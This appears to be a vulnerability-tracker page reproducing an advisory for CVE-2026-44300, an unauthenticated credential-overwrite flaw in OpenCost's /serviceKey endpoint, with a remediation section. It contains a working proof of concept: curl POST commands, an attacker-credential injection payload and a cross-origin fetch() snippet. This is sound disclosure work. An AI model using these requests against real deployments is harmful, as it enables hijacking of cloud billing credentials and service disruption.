Kestrel
대시보드로 돌아가기
CVE-2026-44300HIGHGHSA대응게시일: 2026. 07. 14.수정일: 2026. 07. 14.

OpenCost ServiceKey Endpoint Unauthorized Credential Overwrite/Injection

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

CVSS 벡터 정보 없음

상세 설명

Summary

OpenCost contains an unauthenticated file write vulnerability in the /serviceKey endpoint that allows remote attackers to overwrite the GCP service account key file without authentication. This can lead to service disruption, credential theft, and potential privilege escalation within Kubernetes clusters.


Affected Versions

  • OpenCost: All versions up to and including the latest release
  • Vulnerable File: pkg/costmodel/router.go (lines 365-379)
  • Vulnerable Endpoint: POST /serviceKey

Vulnerability Details

Root Cause

The AddServiceKey function in pkg/costmodel/router.go accepts user-supplied data via POST request and writes it directly to a file without any authentication or input validation:

text
1func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
2 w.Header().Set("Content-Type", "application/json")
3 w.Header().Set("Access-Control-Allow-Origin", "*") // Overly permissive CORS
4
5 r.ParseForm()
6
7 key := r.PostForm.Get("key") // User-controlled input, no validation
8 k := []byte(key)
9 err := os.WriteFile(env.GetGCPAuthSecretFilePath(), k, 0644) // Direct file write
10 if err != nil {
11 fmt.Fprintf(w, "Error writing service key: %s", err)
12 }
13
14 w.WriteHeader(http.StatusOK)
15}

File Path Determination (core/pkg/env/core.go):

text
1func GetGCPAuthSecretFilePath() string {
2 return GetPathFromConfig("key.json")
3}
4
5func GetPathFromConfig(fileName string) string {
6 return filepath.Join(GetConfigPath(), fileName)
7}
8
9func GetConfigPath() string {
10 return Get(ConfigPathEnvVar, DefaultConfigPath) // Default: /var/configs
11}

Security Issues

  1. No Authentication: Any network-accessible client can invoke the endpoint
  2. No Input Validation: User input is not validated as a valid GCP service account key
  3. Overly Permissive CORS: Access-Control-Allow-Origin: * allows cross-origin attacks
  4. Predictable File Path: File location controlled by CONFIG_PATH environment variable

Proof of Concept

Environment Setup

Prerequisites
  • Kubernetes cluster (tested on kind v1.30.0)
  • Helm 3.x
  • kubectl configured
Step 1: Create Namespace
text
1kubectl create namespace opencost

Output:

text
1namespace/opencost created
Step 2: Add OpenCost Helm Repository
text
1helm repo add opencost https://opencost.github.io/opencost-helm-chart
2helm repo update

Output:

sql
1"opencost" has been added to your repositories
2Hang tight while we grab the latest from your chart repositories...
3...Successfully got an update from the "opencost" chart repository
4Update Complete. Happy Helming!
Step 3: Deploy OpenCost
text
1helm install opencost opencost/opencost --namespace opencost \
2 --set opencost.exporter.defaultClusterId=test-cluster \
3 --set opencost.prometheus.internal.enabled=true \
4 --set opencost.prometheus.internal.serviceName=kube-prometheus-stack-prometheus \
5 --set opencost.prometheus.internal.namespaceName=monitoring \
6 --set opencost.prometheus.internal.port=9090 \
7 --set-string 'opencost.exporter.extraEnv.CONFIG_PATH=/tmp'

Key Configuration:

  • CONFIG_PATH=/tmp: Sets writable directory for file operations

Output:

text
1NAME: opencost
2LAST DEPLOYED: Sun Jan 18 00:39:21 2026
3NAMESPACE: opencost
4STATUS: deployed
5REVISION: 1
Step 4: Verify Deployment
text
1kubectl get pods -l app.kubernetes.io/instance=opencost -n opencost

Output:

text
1NAME READY STATUS RESTARTS AGE
2opencost-db97bbcc-5q8cb 2/2 Running 0 44s
Step 5: Verify Service Accessibility
bash
1kubectl run curl-test --image=curlimages/curl --rm -i --restart=Never -- \
2 curl -v http://opencost.opencost.svc.cluster.local:9003/healthz

Output:

text
1< HTTP/1.1 200 OK
2< Vary: Origin
3< Date: Sat, 17 Jan 2026 16:32:07 GMT
4< Content-Length: 0

Exploitation

Step 6: Check Initial State
text
1kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json

Output:

text
1cat: can't open '/tmp/key.json': No such file or directory

Note: File does not exist initially

Step 7: Verify CONFIG_PATH Configuration
text
1kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- env | grep CONFIG_PATH

Output:

text
1CONFIG_PATH=/tmp

Note: CONFIG_PATH correctly set to /tmp

Step 8: Execute Exploit
bash
1MALICIOUS_CONTENT='{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}'
2
3kubectl run vuln-exploit --image=curlimages/curl --rm -i --restart=Never -- \
4 curl -X POST http://opencost.opencost.svc.cluster.local:9003/serviceKey \
5 -H "Content-Type: application/x-www-form-urlencoded" \
6 -d "key=${MALICIOUS_CONTENT}" \
7 -v

Request Details:

text
1> POST /serviceKey HTTP/1.1
2> Host: opencost.opencost.svc.cluster.local:9003
3> User-Agent: curl/8.18.0
4> Accept: */*
5> Content-Type: application/x-www-form-urlencoded
6> Content-Length: 244

Response Details:

text
1< HTTP/1.1 200 OK
2< Access-Control-Allow-Origin: *
3< Content-Type: application/json
4< Vary: Origin
5< Date: Sat, 17 Jan 2026 16:42:29 GMT
6< Content-Length: 0

Result: HTTP 200 OK - Request successful without authentication

Step 9: Verify File Write
text
1kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json

Output:

text
1{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}

Result: VULNERABILITY CONFIRMED - Malicious content successfully written to file


Impact Analysis

Direct Impact

Impact TypeSeverityDescription
Unauthorized Credential OverwriteHighAttacker can overwrite GCP service account key file content
No Authentication RequiredHighVulnerability can be exploited without any credentials
CORS MisconfigurationMediumAllows cross-origin attacks via malicious websites
Fixed File PathLowAttacker cannot control write location, only content

Attack Scenario Analysis

Scenario 1: GCP Credential Overwrite Leading to Service Disruption

Attack Steps:

  1. Attacker sends POST request with invalid JSON or malformed GCP key
  2. /serviceKey endpoint accepts request and overwrites existing key.json file
  3. OpenCost attempts to access GCP API with corrupted credentials
  4. GCP integration fails, cost data collection stops

Technical Details:

bash
1# Attack payload example
2curl -X POST http://opencost:9003/serviceKey \
3 -d 'key={"invalid":"json","corrupted":"credentials"}'

Impact:

  • Cost Monitoring Disruption: Unable to retrieve GCP cloud cost data
  • Operational Impact: FinOps processes dependent on cost data are blocked
  • Availability Degradation: Manual intervention required to restore correct credentials

CVSS Impact Score: Availability impact is Low (A:L)


Scenario 2: Malicious Credential Injection for Data Hijacking

Attack Steps:

  1. Attacker creates their own GCP project and service account
  2. Injects attacker-controlled valid GCP credentials into OpenCost
  3. OpenCost uses attacker's credentials to send requests to GCP Billing API
  4. Target organization's cost data is sent to attacker's GCP project

Technical Details:

bash
1# Inject attacker credentials
2ATTACKER_KEY='{
3 "type": "service_account",
4 "project_id": "attacker-billing-project",
5 "private_key": "-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n",
6 "client_email": "opencost-hijack@attacker-project.iam.gserviceaccount.com"
7}'
8
9curl -X POST http://opencost:9003/serviceKey -d "key=${ATTACKER_KEY}"

Impact:

  • Sensitive Data Leakage: Organization's cloud resource usage patterns and cost details
  • Business Intelligence Leakage: Can infer business scale, growth trends, technology stack
  • Compliance Risk: Cost data may contain protected business information

Data Leakage Examples:

  • Kubernetes cluster size and node configuration
  • Resource consumption per namespace (can map to business units)
  • Cloud service usage patterns (databases, storage, compute instance types)
  • Cost trends (can infer business growth or contraction)

CVSS Impact Score: Confidentiality impact is None (C:N), but business impact is High


Scenario 3: Cross-Origin Attack (CORS Exploitation)

Attack Steps:

  1. User visits attacker-controlled malicious website
  2. Malicious JavaScript sends POST request to http://localhost:9003/serviceKey
  3. Due to CORS set to *, browser allows cross-origin request
  4. User's browser acts as proxy to execute credential overwrite attack

Prerequisites:

  • User exposes OpenCost service via kubectl port-forward or other means
  • User's browser can access OpenCost endpoint

Technical Details:

text
1// JavaScript on malicious website
2fetch('http://localhost:9003/serviceKey', {
3 method: 'POST',
4 headers: {'Content-Type': 'application/x-www-form-urlencoded'},
5 body: 'key={"type":"malicious"}'
6});

Impact:

  • User-Unaware Attack: No active user interaction required
  • Difficult to Trace: Attack originates from victim's IP address
  • Limited Exploitation Conditions: Requires OpenCost exposed to user-accessible network

Vulnerability Limitations

What Attacker Cannot Control:

  • File Write Path: Fixed by CONFIG_PATH environment variable, attacker cannot modify
  • File Name: Fixed as key.json, cannot write to other files
  • File Permissions: Write permission is 0644, attacker cannot escalate

Actual Attack Capabilities:

  • File Content Control: Complete control over key.json content
  • Unauthenticated Exploitation: No credentials required to trigger
  • Remote Accessibility: Can be exploited over network (if service exposed)

Real-World Impact Assessment

Deployment ScenarioRisk LevelDescription
Cluster-Internal OnlyMediumRequires attacker to have cluster network access
Exposed via IngressHighAny internet user can exploit
Exposed via NodePortHighAttackers with node network access can exploit
Via port-forwardMedium-HighLocal dev environments vulnerable to CORS attacks

Recommended Risk Rating:

  • Default deployment (cluster-internal): Medium
  • Improperly exposed (public internet): High

Remediation

Immediate Actions (P0)

1. Add Authentication
text
1func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
2 // Add authentication check
3 if !a.isAuthorized(r) {
4 http.Error(w, "Unauthorized", http.StatusUnauthorized)
5 return
6 }
7
8 // ... existing logic
9}
2. Implement Input Validation
text
1func validateServiceKey(key string) error {
2 var keyData map[string]interface{}
3 if err := json.Unmarshal([]byte(key), &keyData); err != nil {
4 return fmt.Errorf("invalid JSON format")
5 }
6
7 requiredFields := []string{"type", "project_id", "private_key_id", "private_key"}
8 for _, field := range requiredFields {
9 if _, ok := keyData[field]; !ok {
10 return fmt.Errorf("missing required field: %s", field)
11 }
12 }
13
14 if keyData["type"] != "service_account" {
15 return fmt.Errorf("invalid key type")
16 }
17
18 return nil
19}
3. Restrict CORS
text
1w.Header().Set("Access-Control-Allow-Origin", os.Getenv("ALLOWED_ORIGIN"))

Long-term Solutions (P1)

  1. Use Kubernetes Secrets: Store credentials in Kubernetes Secrets instead of files
  2. Implement RBAC: Role-based access control for sensitive operations
  3. Add Audit Logging: Log all file write operations
  4. Apply Least Privilege: Minimize ClusterRole permissions

Workarounds

Until a patch is available, implement these mitigations:

  1. Network Segmentation: Restrict access to OpenCost service using NetworkPolicies
  2. Disable Endpoint: Remove or disable the /serviceKey endpoint if not required
  3. Monitor File Changes: Alert on modifications to key.json file
  4. Use Read-only Filesystem: Mount config directory as read-only where possible

References

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.